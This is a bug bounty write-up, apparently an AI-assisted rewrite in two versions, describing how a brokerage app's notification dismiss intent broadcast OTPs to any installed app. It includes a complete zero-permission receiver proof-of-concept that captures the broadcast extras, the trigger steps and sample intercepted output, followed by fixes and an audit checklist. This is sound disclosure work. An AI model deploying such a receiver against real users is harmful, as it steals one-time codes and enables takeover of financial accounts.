Skip to content
Info disclosure Write-up Intermediate

Swipe-to-Leak: OTP Theft via an Implicit Broadcast on Notification Dismiss

The brokerage app's notification dismiss handler built an implicit broadcast intent carrying the full push payload, including the OTP, so any installed app could register a receiver for that action and read the code. An attacker app with no permissions could silently capture OTPs and, combined with known credentials, defeat the second factor on a financial account.

Hussein Ayoub Follow

Published on medium.com

Android

Hussein Ayoub, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

A widely installed Android brokerage and trading app, distributed through the Play Store, gates sensitive operations behind one-time passwords delivered by push notification. Web login, withdrawals and trades all sit behind an OTP that arrives as a notification. The app is the kind that handles real accounts and real money.

When a notification is posted, an app can attach two PendingIntents to it: a contentIntent, fired when the user taps the notification, and a deleteIntent, fired when the user dismisses or swipes it away. The delete intent is a legitimate mechanism: it lets the app learn that the user swiped the notification away so it can update state, log analytics or cancel a re-alert.

The vulnerability is in how the dismiss intent was built. When the user dismissed an OTP notification, the app broadcast the entire notification payload, OTP included, as an implicit intent that every installed app on the device could read. No root, no accessibility service, and no user interaction beyond the swipe the user makes anyway.

Setup

The work was done against a private program on a bug bounty platform. The researcher's pipeline was:

  1. Pull the APK.
  2. Decompile with jadx for readable Java and apktool for the manifest and resources.
  3. Run an LLM-assisted review pass over the decompiled output to flag suspicious sinks before reading anything by hand.

For notification bugs, the sinks worth surfacing are:

  • PendingIntent.getBroadcast(...)
  • new Intent(<action>) with setAction(...) and no setPackage or setComponent
  • NotificationCompat.Builder.setDeleteIntent(...)
  • any notification builder where the OTP or body gets stuffed into putExtra(...)

The proof-of-concept app's manifest declares minSdkVersion 24 and targetSdkVersion 33. The result can also be watched from the shell with adb logcat.

Finding it

The LLM-assisted pass flagged the push notification provider right away: two PendingIntents per notification, one explicit, one not. That asymmetry between the tap path and the dismiss path is the whole bug.

Root cause

Reconstructed and de-obfuscated, the notification builder does something equivalent to this. The tap path is textbook: an explicit intent that can only ever land inside the app's own MainActivity.

Java
Intent tapIntent = new Intent(context, MainActivity.class);tapIntent.setAction("notification_opened");tapIntent.putExtra("id",    push.id);tapIntent.putExtra("type",  push.type);tapIntent.putExtra("title", push.title);tapIntent.putExtra("body",  push.body);   PendingIntent tapPi = PendingIntent.getActivity(        context, reqCode, tapIntent, FLAG_IMMUTABLE);

The dismiss path copies the same extras, OTP body included, into an intent that names only an action string. No setPackage(), no setComponent(), and no permission on the broadcast.

Java
// DISMISS intent, the bug (implicit, no target, no permission)Intent dismissIntent = new Intent();dismissIntent.setAction("notification_deleted");   // action onlydismissIntent.putExtra("id",    push.id);dismissIntent.putExtra("type",  push.type);dismissIntent.putExtra("title", push.title);dismissIntent.putExtra("body",  push.body);        // OTP, againPendingIntent dismissPi = PendingIntent.getBroadcast(        context, reqCode, dismissIntent, FLAG_IMMUTABLE);builder.setContentIntent(tapPi)       .setDeleteIntent(dismissPi);   // fires as an IMPLICIT broadcast on swipe

When the user swipes the notification, Android fires notification_deleted as an implicit broadcast and delivers it to every app that registered a receiver for that action.

FLAG_IMMUTABLE on the PendingIntent does not help. Immutability stops a third party from mutating the intent's fields, not from receiving the broadcast and reading its extras.

Exploitation

Step 1: build a zero-permission receiver app

The malicious app is about as minimal as an Android app gets. Its manifest declares zero <uses-permission> entries. The only component is a launcher activity.

XML
<manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.poc.broadcastleak">    <uses-sdk android:minSdkVersion="24" android:targetSdkVersion="33" />    <application android:label="BroadcastLeakPoC">        <activity android:name=".MainActivity" android:exported="true">            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>    </application></manifest>

Step 2: register a receiver for the vulnerable action

At runtime the activity registers a receiver for notification_deleted and dumps whatever extras arrive.

Java
public class MainActivity extends Activity {    private static final String TAG = "OTP_LEAK_POC";
Java
    private final BroadcastReceiver receiver = new BroadcastReceiver() {        @Override public void onReceive(Context ctx, Intent intent) {            Log.w(TAG, "=== BROADCAST RECEIVED === " + intent.getAction());            Bundle extras = intent.getExtras();            if (extras != null) {                for (String key : extras.keySet()) {                    Log.w(TAG, key + " = " + extras.get(key));   // OTP lands here                }            }        }    };    @Override protected void onCreate(Bundle b) {        super.onCreate(b);        // ...        registerReceiver(receiver, new IntentFilter("notification_deleted"));    }}

That is the whole exploit: a runtime registerReceiver with an IntentFilter on the action string. No special manifest declaration is required. In the wild you would register it from a background component and ship the captured body straight to a collector instead of a TextView.

A real attacker does not need the target app foregrounded, does not need to know when an OTP will arrive, and does not race anyone. The receiver just sits there. Every dismissed notification, OTP or otherwise, walks right into it.

Step 3: trigger an OTP and swipe the notification

  1. Install the PoC on the same device as the target app.
  2. Open the PoC. It registers the receiver and shows "Listening for 'notification_deleted' broadcasts..."
  3. In the target app, trigger an OTP (start a web login or any operation that sends a push code).
  4. When the push arrives, swipe it away. Do not tap it.
  5. The PoC displays the intercepted payload.

Or watch it from the shell:

Bash
adb logcat -s OTP_LEAK_POC

The intercepted broadcast, with values from the researcher's test push (the real ones carry the live OTP):

Text
=== BROADCAST RECEIVED === notification_deletedid         = <redacted>type       = Otptitle      = <verification-code notification title>body       = Your OTP code is 482916pushSource = <push provider>

type = Otp is the tell. The app itself labels the payload as an OTP, then hands it to anyone listening.

Impact

The receiving app needs no permissions, no root, no accessibility service, and no interaction from the victim beyond the dismiss gesture they already perform reflexively.

Confidentiality (high)

  • Raw OTP codes for a financial app, captured silently.
  • Full notification content: titles, bodies, deep-link URLs, push type and timestamps. A running log of the user's activity in the app.

Account takeover

  • OTP plus already-known credentials (from phishing, reuse or a prior breach) means the second factor is defeated. In a brokerage app that is the gate in front of web login, trades and withdrawals.
  • The victim gets zero indication their code was intercepted. The notification they dismissed looks, to them, dismissed.

The severity is not "an app can read notifications". That normally needs BIND_NOTIFICATION_LISTENER_SERVICE and an explicit user grant in Settings. This bug routes around that entire consent model by pushing the data out as an unprotected broadcast.

Fix

Two clean options, pick either.

Make the dismiss intent explicit, mirroring what the tap intent already does:

Java
Intent dismissIntent = new Intent(context, PushDismissReceiver.class); dismissIntent.setAction("notification_deleted");PendingIntent dismissPi = PendingIntent.getBroadcast(        context, reqCode, dismissIntent, FLAG_IMMUTABLE);

Or gate it with a signature-level permission, so only your own app can receive it:

XML
<permission android:name="com.vendor.app.RECEIVE_PUSH_EVENTS"    android:protectionLevel="signature" />
Java
PendingIntent.getBroadcast(context, reqCode, dismissIntent,        FLAG_IMMUTABLE);

Defence in depth on top of either one:

  • Do not put the OTP in the intent extras at all. The dismiss handler needs the notification id to update state. It does not need the code, the body or the deep link. Pass a reference, not the secret.

  • Set android:exported="false" on any internal receiver that has no reason to be public.

  • Treat notification builders as a sink during review. Every setDeleteIntent and setContentIntent should be built from an explicit intent or carry a receiver permission, and neither should carry more payload than the handler actually consumes.

  • Other implicit PendingIntent.getBroadcast() calls. Grep the decompiled output for getBroadcast and check each intent for setPackage or setComponent. A positive result is an intent with only an action string whose extras carry anything sensitive.

  • setDeleteIntent on any notification builder. Look for the same asymmetry the researcher found: an explicit content intent next to an implicit delete intent. A positive result is a delete intent that fires an implicit broadcast on swipe.

  • Other notification actions. Beyond tap and dismiss, check action buttons and any custom PendingIntents attached to a notification. A positive result is any of them built from an implicit intent carrying payload.

  • Payloads beyond OTPs. The same pattern leaks titles, bodies, deep-link URLs, push type and timestamps. A positive result is a receiver log showing any of these fields arriving from a dismissed notification.

  • FLAG_IMMUTABLE as a false comfort. Any code review that treats immutability as sufficient protection for a broadcast should be rechecked. A positive result is a PendingIntent that is immutable but still delivered to a third-party receiver.

Disclosure timeline

29/Aug/26 -> Reported

22/Sep/26 -> Accepted and bounty awarded

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

A popular Android app for buying and selling investments (a brokerage app) sends one-time passwords (OTPs) to users as push notifications. An OTP is a short code, valid once, that proves you are you. Banks and trading apps use them as a second lock on top of your password.

When a user swiped one of those OTP notifications away, the app sent the whole notification, including the code, out to the phone in a way that any other installed app could listen in on. The listening app needed no special permissions, no root access and no help from the user beyond the swipe they were going to make anyway.

The researcher, Hussein Ayoub, found this in a private bug bounty program and reported it. It was accepted and a bounty was awarded.

The two ingredients

If you have spent any time looking at Android apps, the shape of this bug feels familiar. It needs two things to line up:

  1. Sensitive data delivered by push notification, in this case OTP codes in a financial app.
  2. A PendingIntent.getBroadcast() built from an implicit Intent, one with an action string but no target package and no receiver permission.

The first is normal. The second is the bug. Put them together and the notification's own dismiss action becomes an exfiltration channel.

Before going further, a few words on the pieces. Android apps are packages of code installed on a phone. They talk to each other through messages called intents. An intent is like an envelope: it can carry a small amount of data (extras) and it has an address. If the address names a specific app and component, only that app gets the envelope. That is an explicit intent. If the address is just a label, like "notification_deleted", any app that has registered interest in that label gets a copy. That is an implicit intent. A PendingIntent is a pre-filled, pre-sealed envelope that the system can send later on the app's behalf, for example when the user taps or swipes a notification.

Why notification dismiss intents even exist

When an app posts a notification it can attach two PendingIntents:

  • contentIntent, which fires when the user taps the notification.
  • deleteIntent, which fires when the user dismisses (swipes) it.

The delete intent is how apps learn "the user swiped this away" so they can update state, log analytics, or cancel a re-alert. Perfectly legitimate.

The danger is in how that intent gets built. If it is an explicit intent (it targets a specific component inside your own app) or it carries a receiver permission, only you can receive it. If it is an implicit intent, just an action string, Android delivers it to any registered receiver on the device.

A receiver, in Android terms, is a small piece of code that waits for a particular kind of message. Registering a receiver is like putting your name on a mailing list for a particular label. Once you are on the list, every envelope with that label arrives at your door.

The target

The app is a popular brokerage and trading app on the Play Store. The kind that handles real accounts and real money, and gates sensitive operations like web login, withdrawals, and trades behind an OTP delivered by push. That context is what turns a notification content leak from an information-disclosure footnote into a straight path to account takeover.

Account takeover means someone else ends up in control of your account. Information disclosure is the security term for data being exposed to someone who should not see it. On its own it sounds mild. Here it is the first step towards something much worse.

My workflow: decompile, triage the sinks

Same pipeline as always. Pull the APK, decompile with jadx (for readable Java) and apktool (for the manifest and resources), then run an LLM-assisted review pass over the decompiled output to flag suspicious sinks before I read anything by hand.

A few of those words need unpacking. An APK is the file format Android uses to install an app, roughly the Android equivalent of a .exe on Windows. An LLM-assisted review pass means using a large language model to skim the decompiled code and point at patterns worth a closer look. A sink, in this context, is a place in the code where data leaves the app or crosses a trust boundary, so it is where leaks tend to happen.

For notification bugs, the sinks worth surfacing are cheap to describe:

  • PendingIntent.getBroadcast(...)
  • new Intent(<action>) with setAction(...) and no setPackage or setComponent
  • NotificationCompat.Builder.setDeleteIntent(...)
  • any notification builder where the OTP or body gets stuffed into putExtra(...)

Each of those is a hint. getBroadcast is the call that creates a broadcast-style pending intent. new Intent(<action>) with setAction and no setPackage or setComponent is the shape of an implicit intent: it has a label but no specific destination. setDeleteIntent is where the dismiss behaviour is attached to a notification. putExtra is how data gets stuffed into an intent. When all four appear together, the code is worth reading line by line.

The pass flagged the push notification provider right away: two PendingIntents per notification, one explicit, one not.

Root cause

Reconstructed and de-obfuscated, the notification builder does something equivalent to this. Notice the asymmetry between the two intents:

Java
Intent tapIntent = new Intent(context, MainActivity.class);tapIntent.setAction("notification_opened");tapIntent.putExtra("id",    push.id);tapIntent.putExtra("type",  push.type);tapIntent.putExtra("title", push.title);tapIntent.putExtra("body",  push.body);   PendingIntent tapPi = PendingIntent.getActivity(        context, reqCode, tapIntent, FLAG_IMMUTABLE);

Line by line:

  • Intent tapIntent = new Intent(context, MainActivity.class); creates an intent that names a specific class, MainActivity, inside the app. That is what makes it explicit: it has a destination.
  • tapIntent.setAction("notification_opened"); gives it a label, but the label is not what routes it. The destination is.
  • The four putExtra lines attach data to the intent: the push id, its type, its title and its body. The body is where the OTP lives.
  • PendingIntent.getActivity(...) wraps the intent in a pending intent that will start an activity (a screen) when fired. FLAG_IMMUTABLE means nobody else can change the intent's contents after it is created.

So the tap path is textbook. It is an explicit intent that can only ever land inside the app's own MainActivity.

Java
// DISMISS intent, the bug (implicit, no target, no permission)Intent dismissIntent = new Intent();dismissIntent.setAction("notification_deleted");   // action onlydismissIntent.putExtra("id",    push.id);dismissIntent.putExtra("type",  push.type);dismissIntent.putExtra("title", push.title);dismissIntent.putExtra("body",  push.body);        // OTP, againPendingIntent dismissPi = PendingIntent.getBroadcast(        context, reqCode, dismissIntent, FLAG_IMMUTABLE);builder.setContentIntent(tapPi)       .setDeleteIntent(dismissPi);   // fires as an IMPLICIT broadcast on swipe

Line by line:

  • Intent dismissIntent = new Intent(); creates an empty intent. No destination is named.
  • dismissIntent.setAction("notification_deleted"); gives it a label and nothing else. That is what makes it implicit.
  • The four putExtra lines copy the same data, OTP body included, into the intent.
  • PendingIntent.getBroadcast(...) wraps it in a pending intent that will send a broadcast when fired. FLAG_IMMUTABLE is there, but as we will see it does not help.
  • builder.setContentIntent(tapPi).setDeleteIntent(dismissPi); attaches both pending intents to the notification: one for tap, one for swipe.

The dismiss path copies the same extras, OTP body included, into an intent that names only an action string. No setPackage(), no setComponent(), and no permission on the broadcast.

So when the user swipes the notification, Android fires notification_deleted as an implicit broadcast and delivers it to every app that registered a receiver for that action.

FLAG_IMMUTABLE on the PendingIntent does not help here. Immutability stops a third party from mutating the intent's fields, not from receiving the broadcast and reading its extras. Think of it as a sealed envelope: sealing stops someone from adding or changing what is inside, but it does not stop them from opening the envelope if it is addressed to them.

The PoC receiver

The malicious app is about as minimal as an Android app gets. Its manifest declares zero <uses-permission> entries. The only component is a launcher activity:

XML
<manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.poc.broadcastleak">    <uses-sdk android:minSdkVersion="24" android:targetSdkVersion="33" />    <application android:label="BroadcastLeakPoC">        <activity android:name=".MainActivity" android:exported="true">            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>    </application></manifest>

Line by line:

  • The <manifest> element is the app's identity card. The package attribute is the app's unique name on the device.
  • <uses-sdk> declares the minimum and target Android versions. targetSdkVersion="33" tells the system which behaviour rules the app was built against.
  • <application> is the app itself, with a display label.
  • <activity android:name=".MainActivity" android:exported="true"> declares one screen, MainActivity, and marks it exported, meaning other apps can launch it. That is needed for a launcher icon.
  • The <intent-filter> with MAIN and LAUNCHER is what makes the app appear in the app drawer.

There is no <uses-permission> anywhere. That is the point: the app asks for nothing.

At runtime it registers a receiver for the vulnerable action and dumps whatever extras arrive:

Java
public class MainActivity extends Activity {    private static final String TAG = "OTP_LEAK_POC";

Line by line:

  • public class MainActivity extends Activity declares the app's only screen.
  • private static final String TAG = "OTP_LEAK_POC"; sets a label used in log output, so the researcher can filter for it later.
Java
    private final BroadcastReceiver receiver = new BroadcastReceiver() {        @Override public void onReceive(Context ctx, Intent intent) {            Log.w(TAG, "=== BROADCAST RECEIVED === " + intent.getAction());            Bundle extras = intent.getExtras();            if (extras != null) {                for (String key : extras.keySet()) {                    Log.w(TAG, key + " = " + extras.get(key));   // OTP lands here                }            }        }    };    @Override protected void onCreate(Bundle b) {        super.onCreate(b);        // ...        registerReceiver(receiver, new IntentFilter("notification_deleted"));    }}

Line by line:

  • private final BroadcastReceiver receiver = new BroadcastReceiver() { ... }; defines the receiver: a small object with one method, onReceive, that runs whenever a matching broadcast arrives.
  • onReceive(Context ctx, Intent intent) is called with the incoming intent.
  • Log.w(TAG, "=== BROADCAST RECEIVED === " + intent.getAction()); writes a log line with the intent's action, so the researcher can see it arrived.
  • Bundle extras = intent.getExtras(); pulls out the data attached to the intent. A Bundle is Android's key-value container, like a small dictionary.
  • The for loop walks every key in the bundle and logs key = value. The comment // OTP lands here marks the line where the code ends up in the log.
  • onCreate is the screen's startup method. super.onCreate(b) runs the standard setup.
  • registerReceiver(receiver, new IntentFilter("notification_deleted")); is the crucial line. It tells Android: whenever a broadcast with the action notification_deleted is sent, deliver it to this receiver.

That is the whole exploit. A runtime registerReceiver with an IntentFilter on the action string. No special manifest declaration is even required. In the wild you would register it from a background component and ship the captured body straight to a collector instead of a TextView.

One thing worth calling out: a real attacker does not need the target app foregrounded, does not need to know when an OTP will arrive, and does not race anyone. The receiver just sits there. Every dismissed notification, OTP or otherwise, walks right into it.

Triggering it

  1. Install the PoC on the same device as the target app.
  2. Open the PoC. It registers the receiver and shows "Listening for 'notification_deleted' broadcasts..."
  3. In the target app, trigger an OTP (start a web login or any operation that sends a push code).
  4. When the push arrives, swipe it away. Do not tap it.
  5. The PoC displays the intercepted payload.

Or watch it from the shell:

Bash
adb logcat -s OTP_LEAK_POC

Line by line:

  • adb is the Android Debug Bridge, a command-line tool that lets a computer talk to a connected Android device.
  • logcat is the device's log viewer.
  • -s OTP_LEAK_POC filters the output to lines tagged OTP_LEAK_POC, which is the tag the PoC uses.

The intercepted broadcast (values here are from my test push; the real ones carry the live OTP):

Text
=== BROADCAST RECEIVED === notification_deletedid         = <redacted>type       = Otptitle      = <verification-code notification title>body       = Your OTP code is 482916pushSource = <push provider>

Line by line:

  • === BROADCAST RECEIVED === notification_deleted is the log line the receiver writes when the broadcast arrives, with the action appended.
  • id = <redacted> is the push identifier, redacted here.
  • type = Otp is the push type. The app itself labels the payload as an OTP.
  • title = <verification-code notification title> is the notification title, redacted.
  • body = Your OTP code is 482916 is the notification body, with the code visible.
  • pushSource = <push provider> is the push provider, redacted.

type = Otp is the tell. The app itself labels the payload as an OTP, then hands it to anyone listening.

Impact

The receiving app needs no permissions, no root, no accessibility service, and no interaction from the victim beyond the dismiss gesture they already perform reflexively.

Root access means running with the highest level of control on the device, normally reserved for the owner. An accessibility service is an Android feature that lets an app read what is on screen and interact with it, and it requires the user to switch it on in Settings. Neither is needed here.

Confidentiality (high)

  • Raw OTP codes for a financial app, captured silently.
  • Full notification content: titles, bodies, deep-link URLs, push type, and timestamps. A running log of the user's activity in the app.

A deep-link URL is a link that opens a specific screen inside an app rather than a web page. Timestamps tell you when things happened, which is useful for building a picture of someone's behaviour.

Account takeover (the real one)

  • OTP plus already-known credentials (from phishing, reuse, or a prior breach) means the second factor is defeated. In a brokerage app that is the gate in front of web login, trades, and withdrawals.
  • The victim gets zero indication their code was intercepted. The notification they dismissed looks, to them, dismissed.

Phishing is tricking someone into handing over their password. Credential reuse is using the same password on several sites, so one breach exposes the others. A second factor is the extra proof, here the OTP, that sits on top of the password. Defeating it means the attacker no longer needs it.

The severity here is not "an app can read notifications". That normally needs BIND_NOTIFICATION_LISTENER_SERVICE and an explicit user grant in Settings. This bug routes around that entire consent model by pushing the data out as an unprotected broadcast.

BIND_NOTIFICATION_LISTENER_SERVICE is the Android permission an app needs to read other apps' notifications. It is a special permission the user has to grant in Settings, and the system shows a warning. The consent model is the idea that the user is asked before an app gets access to something sensitive. This bug skips the question entirely.

The fix

Two clean options, pick either.

Make the dismiss intent explicit, mirroring what the tap intent already does:

Java
Intent dismissIntent = new Intent(context, PushDismissReceiver.class); dismissIntent.setAction("notification_deleted");PendingIntent dismissPi = PendingIntent.getBroadcast(        context, reqCode, dismissIntent, FLAG_IMMUTABLE);

Line by line:

  • new Intent(context, PushDismissReceiver.class) names a specific receiver class inside the app, so the intent is explicit.
  • setAction("notification_deleted") keeps the label for readability, but the destination is what routes it.
  • PendingIntent.getBroadcast(...) wraps it as before. Now only the app's own receiver can get it.

Or gate it with a signature-level permission, so only your own app can receive it:

XML
<permission android:name="com.vendor.app.RECEIVE_PUSH_EVENTS"    android:protectionLevel="signature" />

Line by line:

  • <permission> declares a new permission with a name.
  • android:protectionLevel="signature" means only apps signed with the same certificate can hold it.
Java
PendingIntent.getBroadcast(context, reqCode, dismissIntent,        FLAG_IMMUTABLE);

Line by line:

  • The same getBroadcast call, with the signature permission declared above.

Defence in depth on top of either one:

  • Do not put the OTP in the intent extras at all. The dismiss handler needs the notification id to update state. It does not need the code, the body, or the deep link. Pass a reference, not the secret.
  • Set android:exported="false" on any internal receiver that has no reason to be public.
  • Treat notification builders as a sink during review. Every setDeleteIntent and setContentIntent should be built from an explicit intent or carry a receiver permission, and neither should carry more payload than the handler actually consumes.

Defence in depth means layering several protections so that if one fails, another still holds. android:exported="false" tells Android that a component is private to the app. A reference, in this context, is an identifier the app can look up later, rather than the secret itself.

  • Other implicit PendingIntent.getBroadcast() calls. Grep the decompiled output for getBroadcast and check each intent for setPackage or setComponent. A positive result is an intent with only an action string whose extras carry anything sensitive.
  • setDeleteIntent on any notification builder. Look for the same asymmetry the researcher found: an explicit content intent next to an implicit delete intent. A positive result is a delete intent that fires an implicit broadcast on swipe.
  • Other notification actions. Beyond tap and dismiss, check action buttons and any custom PendingIntents attached to a notification. A positive result is any of them built from an implicit intent carrying payload.
  • Payloads beyond OTPs. The same pattern leaks titles, bodies, deep-link URLs, push type and timestamps. A positive result is a receiver log showing any of these fields arriving from a dismissed notification.
  • FLAG_IMMUTABLE as a false comfort. Any code review that treats immutability as sufficient protection for a broadcast should be rechecked. A positive result is a PendingIntent that is immutable but still delivered to a third-party receiver.

Grep is a command-line tool for searching text, and here it means searching the decompiled code for a pattern. A payload is the data carried inside a message. A false comfort is a protection that looks reassuring but does not actually stop the attack.

Takeaway

The tap intent and the dismiss intent were written by the same person, in the same method, seconds apart. One explicit, one not. That asymmetry is the whole bug. When you audit notification code, do not stop at the content intent. The delete intent is the one people forget, and it fires on the most reflexive gesture on the platform.

Disclosure timeline

29/Aug/26 -> Reported

22/Sep/26 -> Accepted and bounty awarded

Glossary

  • Account takeover: a situation where an attacker gains control of someone else's account.
  • Action (intent action): a text label on an intent, such as notification_deleted, that describes what the message is about.
  • Activity: a single screen in an Android app.
  • adb (Android Debug Bridge): a command-line tool that lets a computer talk to a connected Android device.
  • APK: the file format Android uses to install an app.
  • apktool: a tool that unpacks an APK's manifest and resources.
  • Broadcast: an Android message sent out to any app that has registered interest in it.
  • BroadcastReceiver: an Android component that waits for broadcasts and runs code when one arrives.
  • Bundle: Android's key-value container for passing data between components.
  • Content intent: the pending intent that fires when a user taps a notification.
  • Credential reuse: using the same password on more than one service.
  • Deep-link URL: a link that opens a specific screen inside an app rather than a web page.
  • Defence in depth: layering several protections so that if one fails, another still holds.
  • Delete intent: the pending intent that fires when a user dismisses or swipes a notification.
  • Decompile: turn a compiled app back into something close to its original source code.
  • Explicit intent: an intent that names a specific app component as its destination.
  • Extras: the data attached to an intent.
  • FLAG_IMMUTABLE: a flag on a pending intent that stops other apps from changing its contents.
  • Grep: a command-line tool for searching text.
  • Implicit intent: an intent that names only an action, with no specific destination.
  • Information disclosure: a security term for data being exposed to someone who should not see it.
  • Intent: Android's message format for communication between components and apps.
  • IntentFilter: a declaration of which actions a receiver is interested in.
  • jadx: a tool that decompiles Android apps into readable Java.
  • LLM-assisted review: using a large language model to skim code and flag patterns worth a closer look.
  • Logcat: Android's log viewer.
  • Manifest: the file that describes an app's components and permissions.
  • OTP (one-time password): a short code, valid once, used as a second proof of identity.
  • Payload: the data carried inside a message.
  • PendingIntent: a pre-filled, pre-sealed intent that the system can send later on the app's behalf.
  • Permission: an Android declaration that an app needs access to something.
  • Phishing: tricking someone into handing over their credentials.
  • PoC (proof of concept): a minimal demonstration that an attack works.
  • Push notification: a message delivered to a phone by a server, shown in the notification shade.
  • Receiver permission: a permission attached to a broadcast so only apps holding it can receive it.
  • registerReceiver: the Android call that registers a receiver for a given action.
  • Root access: the highest level of control on a device, normally reserved for the owner.
  • Second factor: an extra proof of identity, such as an OTP, on top of a password.
  • Sink: a place in code where data leaves the app or crosses a trust boundary.
  • Signature-level permission: a permission only apps signed with the same developer key can hold.
  • Target SDK version: the Android version whose behaviour rules an app was built against.
  • Timestamp: a record of when something happened.
  • Uses-permission: a manifest entry declaring a permission an app needs.

More by Hussein Ayoub

View all

2 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.